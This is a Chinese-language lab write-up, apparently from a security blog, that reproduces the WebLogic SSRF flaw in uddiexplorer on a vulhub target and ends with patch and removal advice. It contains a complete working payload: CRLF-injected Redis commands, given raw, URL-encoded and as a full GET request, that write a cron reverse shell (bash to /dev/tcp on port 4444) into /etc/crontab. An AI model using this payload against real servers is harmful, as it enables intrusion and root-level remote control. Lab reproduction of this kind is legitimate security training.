Weblogic SSRF漏洞复现

Weblogic SSRF漏洞复现

1.漏洞原理

Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。

影响版本

weblogic 10.0.2 – 10.3.6版本

2.环境搭建

在vulhub靶场启动docker-compose up -d

访问http://your-ip:7001/uddiexplorer/，无需登录即可查看uddiexplorer应用。

3.漏洞测试

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp，我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT，如http://127.0.0.1:80：

可访问的端口将会得到错误，一般是返回status code，如果访问的非http协议，则会返回did not have a valid SOAP content-type。修改为一个不存在的端口，将会返回could not connect over HTTP to server

ssrf漏洞存在的情况，这一种比较普遍，就是传入url，并且服务器端验证没有对用户做出严格的过滤。

就是这里可以进行端口探测，这里的参数operator我们是可控的，当我们输入不同值时可得到多种不同的报错，端口存在返回状态码returned a 404 error code

docker ps 查看容器ID
docker exec -it a55d0d99fd18 /bin/bash 进入容器Redis，查看ip

探测redis容器是否开启6379端口

输入错误会报错

输入正确会返回null

可以发现6379端口开启。

4.注入HTTP头，利用Redis反弹shell

发送三条redis命令，将弹shell脚本写入/etc/crontab：利用Redis定时任务反弹shell

test 
 
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.241.128/4444 0>&1\n\n\n\n"
 
config set dir /etc/
 
config set dbfilename crontab save 
 
aaa

将这三条命令进行URL编码

%74%65%73%74%0a%0a%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%34%31%2e%31%32%38%2f%34%34%34%34%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0a%73%61%76%65%0a%0a%61%61%61

注意，换行符是“\r\n”，也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面，发送：

放包后：

但是上面这种没有反弹shell，于是用了下面的pyload

http://192.168.42.145:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.25.0.2:6379/test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.241.128%2F4444%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc

进入容器，使用命令

cat /etc/crontab  //查看定时任务

这种get方式请求才反弹shell，猜测请求方式的不同导致的结果不同

5.修复方案

1.：利用weblogic补丁修复

2.：删除uudi相关部署包，由于每个server的tmp目录下都有缓存，所以删除后要彻底重启weblogic（即停应用–停server–停控制台–启控制台–启server–启应用）